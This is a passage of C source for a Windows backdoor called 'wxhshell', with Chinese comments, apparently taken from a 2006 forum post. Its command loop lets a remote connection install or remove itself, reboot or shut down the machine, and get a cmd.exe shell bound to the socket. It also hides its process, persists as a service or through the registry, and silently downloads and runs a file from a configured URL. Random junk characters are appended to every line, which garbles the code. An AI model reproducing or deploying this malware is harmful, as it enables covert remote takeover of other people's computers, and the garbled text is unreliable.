  g#bRT*,L  
  // 帮助 ^W ^OfY  
  case '?': { @dK Tx#gZ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7I}uZ/N  
    break; Y]>t[Lo%  
  } eFgA 8kY)  
  // 安装 7dWS  
  case 'i': { ,bi^P>X  
    if(Install()) P0@,fd<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TbU#96"~.  
    else 4 KiY6)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (=0.inZ  
    break; ~$'awY  
    } ;l+Leex  
  // 卸载 # d  
  case 'r': { .Mbz3;i0  
    if(Uninstall()) l#o ~W`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .A|udZ,  
    else )5, v!X)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =bOW~0Z1  
    break; {c'lhUB  
    } ]Ze1s02(  
  // 显示 wxhshell 所在路径 \e*]Ls#jS  
  case 'p': { 4x34u}l  
    char svExeFile[MAX_PATH]; %J(:ADu]  
    strcpy(svExeFile,"\n\r"); I9Xuok!0>=  
      strcat(svExeFile,ExeFile); ye&;(30Oq  
        send(wsh,svExeFile,strlen(svExeFile),0); nlP;nlW  
    break; @JMiO^  
    } fhiM U8(&  
  // 重启 V gWRW7Se  
  case 'b': { {) XTk &"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 79gT+~z   
    if(Boot(REBOOT)) N8jIMb'<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C dn J&N{  
    else { k[xSbs'D  
    closesocket(wsh); HPl<%%TI  
    ExitThread(0); pBHRa?Y5  
    } x5Bk/e'  
    break; 3og.y+.=U.  
    } ZK,G v  
  // 关机 B\~}3!j  
  case 'd': { oJ^P(]dw  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); X ?O[r3<  
    if(Boot(SHUTDOWN)) K;?+8(H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V[LglPt  
    else { VA%J\T|G2\  
    closesocket(wsh); 7!1S)dup  
    ExitThread(0); z/-=%g >HA  
    } ?<!|  
    break; oH@78D0A  
    } !$ JT e  
  // 获取shell C%u28|  
  case 's': { KlEpzJ98  
    CmdShell(wsh); 2y4bwi  
    closesocket(wsh); :WEDAFq0  
    ExitThread(0); C|bET  
    break; >4TO=i  
  } i-1op> Y  
  // 退出 5BIY<B+i  
  case 'x': { U^PgG|0N  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); dtDFoETz  
    CloseIt(wsh); /ZX }Nc g  
    break; '1[Ft03  
    } cAw/I@jG  
  // 离开 =;L|gtH"  
  case 'q': { 4W75T2q#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2 ?C)&  
    closesocket(wsh); 97Vtn4N3  
    WSACleanup(); F,kZU$  
    exit(1); ).O)p9  
    break; KNl$3nX  
        } "]*tLL:`  
  } 0-gAyiKx?  
  } @7 }W=HB  
X$ D6Ey  
  // 提示信息 HS$r8`S?)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y_)FA"IkE  
} kJU2C=m@e2  
  }  " bG2:  
6BlXLQ,8q  
  return; JF]JOI6.e  
} sO Y:e/_F  
+@UV?"d  
// shell模块句柄 _c07}aQ ],  
int CmdShell(SOCKET sock) (FV >m  
{ (7Qo  
STARTUPINFO si; hH.G#-JO  
ZeroMemory(&si,sizeof(si)); ~*7]r`6\@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; GgU/ !@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; g(g& TO  
PROCESS_INFORMATION ProcessInfo; [g,}gyeS(  
char cmdline[]="cmd"; \V:^h [ad  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); z?zL97H  
  return 0; >_} I.\ X  
} }H2 R3icE  
qs6aB0ln  
// 自身启动模式 3|7QU ld  
int StartFromService(void) %<5'=t'|-U  
{ |Tw~@kT@  
typedef struct jPeYmv]  
{ <@}9Bid!o  
  DWORD ExitStatus; al0L&z\  
  DWORD PebBaseAddress; XW9!p.*.U  
  DWORD AffinityMask; ,4 rPg]r@  
  DWORD BasePriority; }Jw,>}  
  ULONG UniqueProcessId; zs;JJk^  
  ULONG InheritedFromUniqueProcessId; a*;b^Ze`v  
}   PROCESS_BASIC_INFORMATION; ?2a$*(  
/reX{Y  
PROCNTQSIP NtQueryInformationProcess; u2I Cl  
@HW*09TG  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Efe 7gE'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; & kIFcd@  
}u|q0>^8  
  HANDLE             hProcess; $]1=\ I  
  PROCESS_BASIC_INFORMATION pbi; ^Cmyx3O^  
$>gFf}#C  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E^PB)D(.  
  if(NULL == hInst ) return 0; eyaNs{TV  
POW>~Tof1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); QJNFA}*>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0x7'^Z>-oe  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); dx]>(e@(t{  
/?!u{(h}  
  if (!NtQueryInformationProcess) return 0; !k%#R4*>  
q4q6c")zp  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ex|F|0k4}  
  if(!hProcess) return 0; ijcm2FJcG  
PH"%kCI:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $( )>g>%  
g`^x@rj`E  
  CloseHandle(hProcess); <#.g=ay  
;4a{$Lw~^9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zT/\Cj68  
if(hProcess==NULL) return 0; ;jPXs  
e )ZUO_Q$  
HMODULE hMod; AGno6g  
char procName[255]; BVm0{*-[|  
unsigned long cbNeeded; DlT{`  
Mtv?:q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); BY*Q_Et  
kT?J5u _o  
  CloseHandle(hProcess); v<;Md-<  
Jwp7gYZ  
if(strstr(procName,"services")) return 1; // 以服务启动 ,[Fb[#Qqb  
yVc(`,tZ(  
  return 0; // 注册表启动 _m>b2I?  
} /=h` L ,  
zQA`/&=Y  
// 主模块 H"KCK6  
int StartWxhshell(LPSTR lpCmdLine) OB7hlW  
{ r>\bW)e  
  SOCKET wsl; '|4!5)/K  
BOOL val=TRUE; 2tLJU  Z1  
  int port=0; :4s1CC+@\  
  struct sockaddr_in door;  IB<d  
$cR{o#  
  if(wscfg.ws_autoins) Install(); i!cCMh8  
p7Cs.2>M>S  
port=atoi(lpCmdLine); yN c2@  
KG@8RtHsQ  
if(port<=0) port=wscfg.ws_port; 8f7>?BUS,  
| 3%8&@ho  
  WSADATA data; 7|D+Ihy;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {[(h[MW#  
OTp]Xe/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \1`O_DF~o  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); : jx4{V  
  door.sin_family = AF_INET; &R siVBA  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); q =Il|Nb>  
  door.sin_port = htons(port); ':}\4j&{E  
.l|$dE/E  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { RyNs6  
closesocket(wsl); I|J/F}@p  
return 1; f-d1KNY  
} mt`.6Xz~  
h$=2p5'-  
  if(listen(wsl,2) == INVALID_SOCKET) { 8[>zG2  
closesocket(wsl); W`&hp6Jq  
return 1; L(o15  
} 6,uX,X5  
  Wxhshell(wsl); ?8 {"x8W;  
  WSACleanup(); 8D].MI^  
Mq8L0%j  
return 0; bx Wa oWE0  
KU;9}!#  
} 7 ?t6UPf  
_rYkis^ u  
// 以NT服务方式启动 2[CdZ(k]5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6 r_)sHf  
{ mqJ_W[y7  
DWORD   status = 0; !-Y3V"  
  DWORD   specificError = 0xfffffff; Ve=b16H  
}-fl$j?9E  
  serviceStatus.dwServiceType     = SERVICE_WIN32; " Jr-J#gg  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &[SC|=U'M  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; kN>!2UfNS  
  serviceStatus.dwWin32ExitCode     = 0; `"~%bS  
  serviceStatus.dwServiceSpecificExitCode = 0; QM]YJr3r E  
  serviceStatus.dwCheckPoint       = 0; ZC}QId  
  serviceStatus.dwWaitHint       = 0; T)}) pt!V  
`lPfb[b  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ipILG4  
  if (hServiceStatusHandle==0) return; kW (Bkuc)  
j7c3(*Pl  
status = GetLastError(); wPl%20t  
  if (status!=NO_ERROR) go"Hf_  
{ 2"5v[,$1H  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :Yks|VJ1  
    serviceStatus.dwCheckPoint       = 0; _2nx^E(pd  
    serviceStatus.dwWaitHint       = 0; ;$tSb ~K+  
    serviceStatus.dwWin32ExitCode     = status; Z8oK2Dw  
    serviceStatus.dwServiceSpecificExitCode = specificError; 03(4 x'z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \4#W xZ  
    return; EP+J N  
  } Rh |nP&6  
Z<phcqEi8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; bTu9;(  
  serviceStatus.dwCheckPoint       = 0; C $JmzrE  
  serviceStatus.dwWaitHint       = 0; "nWw;-V}}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Uwi7)  
} q]M0md  
X76e&~  
// 处理NT服务事件,比如:启动、停止 }T$p)"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~,~eoW7  
{ k'"%.7$U!  
switch(fdwControl) @R  6@]Dm  
{ U?=Dg1  
case SERVICE_CONTROL_STOP: x;')9/3  
  serviceStatus.dwWin32ExitCode = 0; qv*^fiT  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; e]tDy0@  
  serviceStatus.dwCheckPoint   = 0; 7= DdrG<  
  serviceStatus.dwWaitHint     = 0; >U3cTEs cj  
  { RGU\h[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r4f~z$QK  
  } TU7' J  
  return; CA#,THty  
case SERVICE_CONTROL_PAUSE: nvUc\7(%NW  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 'eX '  
  break; H4JTGt1"  
case SERVICE_CONTROL_CONTINUE: l (%1jC8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; JLJ;TM'4=  
  break; uH-)y,2&  
case SERVICE_CONTROL_INTERROGATE: BCcjK6'  
  break; h=%_Ao<x  
}; lPJ\-/>$z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l$'wDhN*  
} |a%Tp3Q~  
V/;B3t~f  
// 标准应用程序主函数 .% OR3"9@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) - R6)ROGl  
{ TuYCR>P[  
#!m.!? O  
// 获取操作系统版本 (3&?wy_l  
OsIsNt=GetOsVer(); -)/$M(Pu"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); h65-s  
-Vhw^T1iV  
  // 从命令行安装 ))i}7 chc  
  if(strpbrk(lpCmdLine,"iI")) Install(); G/mXq-  
`V3Fx{  
  // 下载执行文件 4NIRmDEd  
if(wscfg.ws_downexe) { S@ f9c  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _]*>*XfF(  
  WinExec(wscfg.ws_filenam,SW_HIDE); vA.MRu#  
} Zr,VR-kW+  
+&"zU GTIc  
if(!OsIsNt) { 27< Enq]  
// 如果时win9x,隐藏进程并且设置为注册表启动 Q1l' 7N  
HideProc(); c{LO6dNg\z  
StartWxhshell(lpCmdLine); |B2+{@R  
} PJ'E/C)i  
else Cs ifKHI  
  if(StartFromService()) AnvRxb.e  
  // 以服务方式启动 %9RF   
  StartServiceCtrlDispatcher(DispatchTable); !#" zTj  
else  =4!e&o  
  // 普通方式启动 SC])?h-Fw  
  StartWxhshell(lpCmdLine); 9!DQ~k%  
H]jhAf<h  
return 0; vFK<J Sk!  
}
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只看该作者 1 发表于: 2006-10-10
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